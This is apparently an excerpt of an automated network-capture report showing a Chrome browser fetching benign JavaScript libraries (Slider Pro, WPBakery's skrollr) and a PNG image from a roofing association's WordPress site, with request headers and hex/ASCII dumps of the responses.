2024-04-23 14:54:22 UTC	7645	IN	Data Raw: 2f 2a 21 0a 2a 20 20 2d 20 76 31 2e 35 2e 30 0a 2a 20 48 6f 6d 65 70 61 67 65 3a 20 68 74 74 70 3a 2f 2f 62 71 77 6f 72 6b 73 2e 63 6f 6d 2f 73 6c 69 64 65 72 2d 70 72 6f 2f 0a 2a 20 41 75 74 68 6f 72 3a 20 62 71 77 6f 72 6b 73 0a 2a 20 41 75 74 68 6f 72 20 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 62 71 77 6f 72 6b 73 2e 63 6f 6d 2f 0a 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 64 6f 77 2c 20 24 20 29 20 7b 0a 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 2f 2f 20 53 74 61 74 69 63 20 6d 65 74 68 6f 64 73 20 66 6f 72 20 53 6c 69 64 65 72 20 50 72 6f 0a 09 24 2e 53 6c 69 64 65 72 50 72 6f 20 3d 20 7b 0a 0a 09 09 2f 2f 20 4c 69 73 74 20 6f 66 20 61 64 64 65 64 20 6d 6f 64 75 6c 65 73 0a 09 09 6d 6f 64 75 6c 65 73 3a 20 5b 5d 2c 0a 0a 09 09 2f Data Ascii: /! - v1.5.0* Homepage: http://bqworks.com/slider-pro/* Author: bqworks* Author URL: http://bqworks.com/*/;(function( window, $ ) {"use strict";// Static methods for Slider Pro$.SliderPro = {// List of added modulesmodules: [],/
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 66 66 6c 65 64 49 6e 64 65 78 65 73 5b 20 6b 20 5d 20 3d 20 74 68 69 73 2e 73 68 75 66 66 6c 65 64 49 6e 64 65 78 65 73 5b 20 6c 20 5d 3b 0a 09 09 09 09 09 74 68 69 73 2e 73 68 75 66 66 6c 65 64 49 6e 64 65 78 65 73 5b 20 6c 20 5d 20 3d 20 74 65 6d 70 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 09 2f 2f 20 52 65 70 6f 73 69 74 69 6f 6e 20 74 68 65 20 73 6c 69 64 65 73 20 62 61 73 65 64 20 6f 6e 20 74 68 65 20 6f 72 64 65 72 20 6f 66 20 74 68 65 20 69 6e 64 65 78 65 73 20 69 6e 20 74 68 65 0a 09 09 09 09 2f 2f 20 27 73 68 75 66 66 6c 65 64 49 6e 64 65 78 65 73 27 20 61 72 72 61 79 0a 09 09 09 09 24 2e 65 61 63 68 28 20 74 68 69 73 2e 73 68 75 66 66 6c 65 64 49 6e 64 65 78 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 65 6c 65 6d 65 6e 74 20 29 20 Data Ascii: ffledIndexes[ k ] = this.shuffledIndexes[ l ];this.shuffledIndexes[ l ] = temp;}// Reposition the slides based on the order of the indexes in the// 'shuffledIndexes' array$.each( this.shuffledIndexes, function( index, element )
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 49 6e 74 28 20 24 73 6c 69 64 65 45 6c 65 6d 65 6e 74 2e 63 73 73 28 20 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 50 72 6f 70 65 72 74 79 20 29 2c 20 31 30 20 29 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 70 72 65 76 69 6f 75 73 50 6f 73 69 74 69 6f 6e 20 3d 20 73 65 6c 65 63 74 65 64 53 6c 69 64 65 50 69 78 65 6c 50 6f 73 69 74 69 6f 6e 3b 0a 0a 09 09 09 09 09 66 6f 72 20 28 20 73 6c 69 64 65 49 6e 64 65 78 20 3d 20 74 68 69 73 2e 6d 69 64 64 6c 65 53 6c 69 64 65 50 6f 73 69 74 69 6f 6e 3b 20 73 6c 69 64 65 49 6e 64 65 78 20 3c 20 74 68 69 73 2e 73 6c 69 64 65 73 4f 72 64 65 72 2e 6c 65 6e 67 74 68 3b 20 73 6c 69 64 65 49 6e 64 65 78 2b 2b 20 29 20 7b 0a 09 09 09 09 09 09 73 6c 69 64 65 20 3d 20 74 68 69 73 2e 67 65 74 53 6c 69 64 65 41 74 28 20 74 68 69 Data Ascii: Int( $slideElement.css( this.positionProperty ), 10 );}previousPosition = selectedSlidePixelPosition;for ( slideIndex = this.middleSlidePosition; slideIndex < this.slidesOrder.length; slideIndex++ ) {slide = this.getSlideAt( thi
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 6e 74 28 29 2e 77 69 64 74 68 28 29 20 7c 7c 0a 09 09 09 09 74 68 69 73 2e 24 73 6c 69 64 65 72 2e 77 69 64 74 68 28 29 20 21 3d 3d 20 74 68 69 73 2e 24 73 6c 69 64 65 73 4d 61 73 6b 2e 77 69 64 74 68 28 29 0a 09 09 09 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 70 72 65 76 69 6f 75 73 53 6c 69 64 65 57 69 64 74 68 20 3d 20 74 68 69 73 2e 73 6c 69 64 65 57 69 64 74 68 3b 0a 09 09 09 09 74 68 69 73 2e 70 72 65 76 69 6f 75 73 53 6c 69 64 65 48 65 69 67 68 74 20 3d 20 74 68 69 73 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 09 7d 0a 0a 09 09 09 74 68 69 73 2e 5f 72 65 73 69 7a 65 53 6c 69 64 65 73 28 29 3b 0a 0a 09 09 09 2f 2f 20 53 65 74 20 74 68 65 20 69 6e 69 74 69 61 6c 20 73 69 7a 65 Data Ascii: nt().width() \|\|this.$slider.width() !== this.$slidesMask.width()) {this.previousSlideWidth = this.slideWidth;this.previousSlideHeight = this.slideHeight;} else {return;}this._resizeSlides();// Set the initial size
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 27 74 72 61 6e 73 66 6f 72 6d 27 20 29 2c 0a 09 09 09 09 09 6d 61 74 72 69 78 54 79 70 65 20 3d 20 6d 61 74 72 69 78 53 74 72 69 6e 67 2e 69 6e 64 65 78 4f 66 28 20 27 6d 61 74 72 69 78 33 64 27 20 29 20 21 3d 3d 20 2d 31 20 3f 20 27 6d 61 74 72 69 78 33 64 27 20 3a 20 27 6d 61 74 72 69 78 27 2c 0a 09 09 09 09 09 6d 61 74 72 69 78 41 72 72 61 79 20 3d 20 6d 61 74 72 69 78 53 74 72 69 6e 67 2e 72 65 70 6c 61 63 65 28 20 6d 61 74 72 69 78 54 79 70 65 2c 20 27 27 20 29 2e 6d 61 74 63 68 28 20 2f 2d 3f 5b 30 2d 39 5c 2e 5d 2b 2f 67 20 29 2c 0a 09 09 09 09 09 6c 65 66 74 20 3d 20 6d 61 74 72 69 78 54 79 70 65 20 3d 3d 3d 20 27 6d 61 74 72 69 78 33 64 27 20 3f 20 70 61 72 73 65 49 6e 74 28 20 6d 61 74 72 69 78 41 72 72 61 79 5b 20 31 32 20 5d 2c 20 31 30 20 29 Data Ascii: 'transform' ),matrixType = matrixString.indexOf( 'matrix3d' ) !== -1 ? 'matrix3d' : 'matrix',matrixArray = matrixString.replace( matrixType, '' ).match( /-?[0-9\.]+/g ),left = matrixType === 'matrix3d' ? parseInt( matrixArray[ 12 ], 10 )
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 74 68 65 20 73 6c 69 64 65 20 61 72 65 20 6c 6f 61 64 65 64 0a 09 09 74 68 69 73 2e 61 72 65 49 6d 61 67 65 73 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 09 2f 2f 20 49 6e 64 69 63 61 74 65 73 20 69 66 20 74 68 65 20 69 6d 61 67 65 73 20 69 6e 73 69 64 65 20 74 68 65 20 73 6c 69 64 65 20 61 72 65 20 69 6e 20 74 68 65 20 70 72 6f 63 65 73 73 20 6f 66 20 62 65 69 6e 67 20 6c 6f 61 64 65 64 0a 09 09 74 68 69 73 2e 61 72 65 49 6d 61 67 65 73 4c 6f 61 64 69 6e 67 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 09 2f 2f 20 54 68 65 20 77 69 64 74 68 20 61 6e 64 20 68 65 69 67 68 74 20 6f 66 20 74 68 65 20 73 6c 69 64 65 0a 09 09 74 68 69 73 2e 77 69 64 74 68 20 3d 20 30 3b 0a 09 09 74 68 69 73 2e 68 65 69 67 68 74 20 3d 20 30 3b 0a 0a 09 09 2f 2f 20 52 65 66 65 Data Ascii: the slide are loadedthis.areImagesLoaded = false;// Indicates if the images inside the slide are in the process of being loadedthis.areImagesLoading = false;// The width and height of the slidethis.width = 0;this.height = 0;// Refe
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 64 65 0a 09 09 67 65 74 49 6e 64 65 78 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 69 6e 64 65 78 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2f 20 53 65 74 20 74 68 65 20 69 6e 64 65 78 20 6f 66 20 74 68 65 20 73 6c 69 64 65 0a 09 09 73 65 74 49 6e 64 65 78 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 20 29 20 7b 0a 09 09 09 74 68 69 73 2e 69 6e 64 65 78 20 3d 20 69 6e 64 65 78 3b 0a 09 09 09 74 68 69 73 2e 24 73 6c 69 64 65 2e 61 74 74 72 28 20 27 64 61 74 61 2d 69 6e 64 65 78 27 2c 20 74 68 69 73 2e 69 6e 64 65 78 20 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2f 20 41 74 74 61 63 68 20 61 6e 20 65 76 65 6e 74 20 68 61 6e 64 6c 65 72 20 74 6f 20 74 68 65 20 73 6c 69 64 65 0a 09 09 6f 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 Data Ascii: degetIndex: function() {return this.index;},// Set the index of the slidesetIndex: function( index ) {this.index = index;this.$slide.attr( 'data-index', this.index );},// Attach an event handler to the slideon: function(
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 09 74 68 69 73 2e 6f 6e 28 20 27 73 6c 69 64 65 72 52 65 73 69 7a 65 2e 27 20 2b 20 4e 53 2c 20 24 2e 70 72 6f 78 79 28 20 74 68 69 73 2e 5f 74 68 75 6d 62 6e 61 69 6c 73 4f 6e 52 65 73 69 7a 65 2c 20 74 68 69 73 20 29 20 29 3b 0a 09 09 09 74 68 69 73 2e 6f 6e 28 20 27 67 6f 74 6f 53 6c 69 64 65 2e 27 20 2b 20 4e 53 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 09 09 09 09 74 68 61 74 2e 5f 67 6f 74 6f 54 68 75 6d 62 6e 61 69 6c 28 20 65 76 65 6e 74 2e 69 6e 64 65 78 20 29 3b 0a 09 09 09 7d 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2f 20 43 61 6c 6c 65 64 20 77 68 65 6e 20 74 68 65 20 73 6c 69 64 65 72 20 69 73 20 75 70 64 61 74 65 64 0a 09 09 5f 74 68 75 6d 62 6e 61 69 6c 73 4f 6e 55 70 64 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b Data Ascii: this.on( 'sliderResize.' + NS, $.proxy( this._thumbnailsOnResize, this ) );this.on( 'gotoSlide.' + NS, function( event ) {that._gotoThumbnail( event.index );});},// Called when the slider is updated_thumbnailsOnUpdate: function() {
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 75 6c 6c 57 69 64 74 68 27 20 7c 7c 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 66 6f 72 63 65 53 69 7a 65 20 3d 3d 3d 20 27 66 75 6c 6c 57 69 6e 64 6f 77 27 20 29 20 7b 0a 09 09 09 09 09 09 74 68 69 73 2e 24 73 6c 69 64 65 72 2e 63 73 73 28 20 27 6d 61 78 2d 77 69 64 74 68 27 2c 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 77 69 64 74 68 28 29 20 2d 20 74 68 69 73 2e 24 74 68 75 6d 62 6e 61 69 6c 73 43 6f 6e 74 61 69 6e 65 72 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 29 3b 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 74 68 69 73 2e 24 73 6c 69 64 65 72 2e 63 73 73 28 20 27 6d 61 78 2d 77 69 64 74 68 27 2c 20 74 68 69 73 2e 24 73 6c 69 64 65 72 2e 70 61 72 65 6e 74 28 29 2e 77 69 64 74 68 28 29 20 2d 20 74 68 69 73 2e 24 74 Data Ascii: ullWidth' \|\| this.settings.forceSize === 'fullWindow' ) {this.$slider.css( 'max-width', $( window ).width() - this.$thumbnailsContainer.outerWidth( true ) );} else {this.$slider.css( 'max-width', this.$slider.parent().width() - this.$t
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 73 4d 6f 76 65 43 6f 6d 70 6c 65 74 65 27 20 7d 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 09 63 73 73 5b 20 74 68 69 73 2e 76 65 6e 64 6f 72 50 72 65 66 69 78 20 2b 20 27 74 72 61 6e 73 69 74 69 6f 6e 27 20 5d 20 3d 20 74 72 61 6e 73 69 74 69 6f 6e 3b 0a 0a 09 09 09 09 74 68 69 73 2e 24 74 68 75 6d 62 6e 61 69 6c 73 2e 63 73 73 28 20 63 73 73 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 63 73 73 5b 20 27 6d 61 72 67 69 6e 2d 27 20 2b 20 74 68 69 73 2e 74 68 75 6d 62 6e 61 69 6c 73 50 6f 73 69 74 69 6f 6e 50 72 6f 70 65 72 74 79 20 5d 20 3d 20 70 6f 73 69 74 69 6f 6e 3b 0a 0a 09 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 69 6e 73 74 61 6e 74 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 Data Ascii: sMoveComplete' });}});}css[ this.vendorPrefix + 'transition' ] = transition;this.$thumbnails.css( css );} else {css[ 'margin-' + this.thumbnailsPositionProperty ] = position;if ( typeof instant !== 'undefined'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.6	50053	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	962	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/skrollr/dist/skrollr.min.js?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
2024-04-23 14:54:22 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: text/javascript Content-Length: 12834 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "1501a85-3222-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:22 UTC	7646	IN	Data Raw: 2f 2a 21 0a 20 2a 20 57 50 42 61 6b 65 72 79 20 50 61 67 65 20 42 75 69 6c 64 65 72 20 76 36 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 77 70 62 61 6b 65 72 79 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 39 20 4d 69 63 68 61 65 6c 20 4d 2c 20 57 50 42 61 6b 65 72 79 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 43 6f 6d 6d 65 72 63 69 61 6c 2e 20 4d 6f 72 65 20 64 65 74 61 69 6c 73 3a 20 68 74 74 70 3a 2f 2f 67 6f 2e 77 70 62 61 6b 65 72 79 2e 63 6f 6d 2f 6c 69 63 65 6e 73 69 6e 67 0a 20 2a 2f 0a 0a 2f 2f 20 6a 73 63 73 3a 64 69 73 61 62 6c 65 0a 2f 2f 20 6a 73 68 69 6e 74 20 69 67 6e 6f 72 65 3a 20 73 74 61 72 74 0a 0a 2f 2a 21 20 73 6b 72 6f 6c 6c 72 20 30 2e 36 2e 33 30 20 28 32 30 31 35 2d 30 36 2d 31 39 29 20 7c 20 41 6c Data Ascii: /! WPBakery Page Builder v6.0.0 (https://wpbakery.com) * Copyright 2011-2019 Michael M, WPBakery * License: Commercial. More details: http://go.wpbakery.com/licensing /// jscs:disable// jshint ignore: start/! skrollr 0.6.30 (2015-06-19) \| Al
2024-04-23 14:54:22 UTC	5188	IN	Data Raw: 29 2c 77 26 26 6d 3e 78 26 26 28 7a 61 28 6a 2c 73 2e 65 76 65 6e 74 54 79 70 65 2c 4c 61 29 2c 69 2e 6c 61 73 74 46 72 61 6d 65 49 6e 64 65 78 3d 6d 29 29 2c 69 2e 65 64 67 65 3d 74 3f 2d 31 3a 31 2c 69 2e 65 64 67 65 53 74 72 61 74 65 67 79 29 7b 63 61 73 65 22 72 65 73 65 74 22 3a 66 61 28 6a 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 22 65 61 73 65 22 3a 6b 3d 76 2e 66 72 61 6d 65 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 63 61 73 65 22 73 65 74 22 3a 76 61 72 20 79 3d 76 2e 70 72 6f 70 73 3b 66 6f 72 28 65 20 69 6e 20 79 29 68 2e 63 61 6c 6c 28 79 2c 65 29 26 26 28 66 3d 65 61 28 79 5b 65 5d 2e 76 61 6c 75 65 29 2c 30 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 40 22 29 3f 6a 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 65 2e 73 75 62 73 74 72 28 31 Data Ascii: ),w&&m>x&&(za(j,s.eventType,La),i.lastFrameIndex=m)),i.edge=t?-1:1,i.edgeStrategy){case"reset":fa(j);continue;case"ease":k=v.frame;break;default:case"set":var y=v.props;for(e in y)h.call(y,e)&&(f=ea(y[e].value),0===e.indexOf("@")?j.setAttribute(e.substr(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.6	50054	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	983	OUT	GET /wp-content/uploads/2017/04/roofing.png?id=96 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
2024-04-23 14:54:22 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: image/png Content-Length: 545158 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:31:22 GMT ETag: "1be1e2e-85186-5d9f3dc6d8a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:22 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 05 35 02 03 00 00 00 36 40 b7 f2 00 00 00 0c 50 4c 54 45 45 4a 49 2f 32 32 20 21 22 12 12 14 e2 87 80 f9 00 08 00 00 49 44 41 54 78 da 4c fd 51 8c 1b d9 99 26 0a 9e c8 ca 88 ec 4a ed d8 99 de 8c 2c 27 13 96 66 81 aa 46 4b b5 2e bd dc fb 30 7d 31 dd c1 9a 24 0b 56 01 77 22 6a e2 9c 2c 06 61 a5 0c 64 a4 2b 82 23 f2 c5 be 68 c9 6b 65 aa c7 55 0d cc 7d 21 7d 79 42 43 12 d7 a5 5a f0 44 29 4e b4 18 fd 20 19 c5 c8 56 44 ef c3 ec be aa 06 4a 35 c6 06 76 e5 8b 64 b6 19 dc 4e f6 00 ca da 62 70 f2 fc fb 20 db 33 7c 21 c0 d7 8f ff 7f be ef 3b df ff 1f 94 a7 00 00 00 79 04 22 05 00 71 ca 45 2f 15 29 c0 1c 00 e6 82 cf 07 09 9f f5 60 02 e2 5e 94 a7 30 1b 98 3c 61 db 5f 71 96 0e 06 98 35 60 3a 3f 14 84 aa Data Ascii: PNGIHDR56@PLTEEJI/22 !"IDATxLQ&J,'fFK.0}1$Vw"j,ad+#hkeU}!}yBCZD)N VDJ5vdNbp 3\|!;y"qE/)`^0<a_q5`:?
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: f4 bf d3 6e 00 62 2f ae 4d 5e f9 36 39 9f 8f 23 00 98 42 37 05 01 09 c5 29 cc ea c6 ba 60 22 ec 79 47 83 f8 dc c1 b6 81 77 f0 ff 62 d7 04 4e 62 5c 1f be c5 b0 ba 7d 52 cd 31 8e ff 81 a4 39 2d bb bc b6 9d 0b ce 59 3a 7e 8f 05 4e 3d 0b a4 54 94 30 5e c4 db c2 65 aa e5 61 f2 d3 f6 85 c9 59 6d 96 79 2e 8c 2a 9a ff fc 69 9d c7 6d 07 32 5c 62 e8 6d dd 74 05 fd 48 d2 56 a4 fe 86 05 5a e1 e8 f6 81 b1 6e 4b 0f 91 cc 27 71 d9 f7 db 68 e9 d8 91 67 0b d7 28 96 4a 56 e5 e6 06 66 6f 1f 38 ef b7 31 5e 1d b4 f9 b1 1b a3 eb 3c ec fa 31 c7 2b 34 18 f6 4b 5b db 33 2b 28 67 fd 7a 69 6f b8 d1 4a 1e 6d 06 1a 76 b3 e0 83 7c 7f 21 2e 53 86 9b bb 2a 08 72 7d 2b 0d e7 00 f0 f5 d2 fc c5 aa 8e d6 94 79 7c 1f a1 b7 de 70 34 b5 ee 6e 20 89 b9 56 3d d7 6c 13 15 54 7d 45 c6 ce 5e 49 37 Data Ascii: nb/M^69#B7)`"yGwbNb\}R19-Y:~N=T0^eaYmy.im2\bmtHVZnK'qhg(JVfo81^<1+4K[3+(gzioJmv\|!.Sr}+y\|p4n V=lT}E^I7
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 25 5c 6e ba 6d d4 46 48 47 7f 8b 14 0d bd e3 ea 64 b3 87 10 e6 1f 7e 63 b0 77 5a 16 b9 fe e3 9d f4 00 21 86 e4 c2 87 df 3c 40 ea 86 66 ff bb e7 65 aa d9 1d ed 5f 71 a7 54 b9 37 46 a8 d0 1b af 2d ae 19 44 00 9c 21 a4 0c d4 ea cf f0 90 29 81 7e 5f 97 8e 10 c3 9b 73 ff 88 df be 6e 9b 0d ef af f0 a5 87 6b b2 b6 b5 9b f8 38 85 20 8e 93 68 c2 9f 58 27 54 50 97 73 13 e3 3d 80 f3 06 0b e7 1c b2 01 70 77 7b 1e 0f 38 11 a7 3e db 48 b2 c3 74 9a 88 41 16 1d 71 4e 1b 00 9c 3a 75 24 fe 5b 72 26 15 29 00 44 73 98 e7 af e2 72 5d 3b e4 7e 0d e6 00 42 9c 40 38 73 d3 70 02 93 11 87 87 ce ad 88 73 df 8a 07 d9 cf d6 85 f7 b0 52 49 a6 ad 86 e0 6e 16 94 1c 76 33 29 56 7e 4c 9e 26 03 31 38 04 e1 5c f5 39 46 58 de 14 e3 8a be 1f 07 aa 63 85 c0 de c8 02 3e e9 51 b3 82 b1 c1 98 73 Data Ascii: %\nmFHGd~cwZ!<@fe_qT7F-D!)~_snk8 hX'TPs=pw{8>HtAqN:u$[r&)Dsr];~B@8spsRInv3)V~L&18\9FXc>Qs
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 4c 70 11 c2 29 8f ef 9c a2 01 00 9c 76 60 80 fd df 2f 0a 0d 01 80 55 05 0f 27 9c df 26 6e 98 e3 8a 13 4d a2 29 07 5e 89 8e f6 f6 43 f8 87 b1 c5 66 b8 21 f0 4e 3e cd 3a 49 ab 9c f1 98 77 62 b6 99 66 7c e4 7a 5e 1e 28 cc e2 87 f3 f8 90 69 92 47 62 ce 0a 54 b5 b6 1a 27 7d 24 75 fd 0c 4b 8c 24 01 31 76 ef 30 09 dd e6 ec 87 b1 85 2f b4 0b b5 f4 f4 af 25 fe b5 f4 f4 62 80 8a aa d5 44 85 aa 47 ad 87 e8 8f ef 5e 19 3d b1 1e 9b 57 46 8b 48 71 33 5e cb 79 8b 75 fb 32 47 ff 7a 1a b7 15 1e 78 d9 79 6d 54 4b 45 1d d5 4e d2 ac b2 97 cf 47 10 3f b9 c4 b2 ad ea 3c d3 6a be 23 ef 4c 41 db 07 2f e6 5c 74 b3 6e bc bb 56 88 f7 ac 97 78 5b 64 7d d2 1d b9 d3 31 36 f4 cd cc c1 92 4b 9a 3f 25 d0 76 75 89 37 97 bd 63 a4 6c 03 00 d0 1d 8e 5b 8f 9c c2 91 b6 d0 3d 5a c0 78 ff f9 dd Data Ascii: Lp)v`/U'&nM)^Cf!N>:Iwbf\|z^(iGbT'}$uK$1v0/%bDG^=WFHq3^yu2GzxymTKENG?<j#LA/\tnVx[d}16K?%vu7cl[=Zx
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 91 de c6 a0 1b ba c8 5c 74 35 d3 32 f1 33 36 22 c5 61 b1 41 fa 5d 87 99 ad 88 96 89 7f f4 b9 17 e1 71 76 44 49 65 16 10 b6 bd d8 f5 a4 22 65 95 fa 3c 89 ab 82 36 8d bc b4 28 a8 29 13 9d 5e d8 b5 09 73 70 e3 7d 36 4a 3c 5a f0 5f a9 4b ec 78 81 19 14 aa 56 f1 fd 80 9a 7d ed 47 3c 31 dc 25 99 bf c9 fa 7a b3 f4 83 86 b0 01 a6 d5 2d 9c 93 81 33 87 44 2d 54 09 01 15 3a 65 5d 73 9f 13 56 17 b6 39 d6 2b 62 eb 0f cf 0d 89 5c f6 a7 44 50 4a b5 97 1b f3 eb 18 f9 8d 67 5a bb 6c 68 f2 47 ef b0 1a 1b c1 7c dd 10 2d e2 74 62 84 58 fa e2 d1 c3 1f d4 a1 36 9c bf db 59 68 d9 3c 08 8f 93 1c d3 3a e7 a2 32 21 42 81 a4 47 3a 45 c4 57 d6 fb 43 91 9c 7b 42 b8 7d 2e 99 03 d6 b0 d4 b3 bc ba d0 13 79 65 5a 25 2c 02 b8 45 e6 e9 a7 af 16 72 7c 42 4b 88 09 39 26 42 6d 28 5c 3e e8 6b Data Ascii: \t5236"aA]qvDIe"e<6()^sp}6J<Z_KxV}G<1%z-3D-T:e]sV9+b\DPJgZlhG\|-tbX6Yh<:2!BG:EWC{B}.yeZ%,Er\|BK9&Bm(\>k
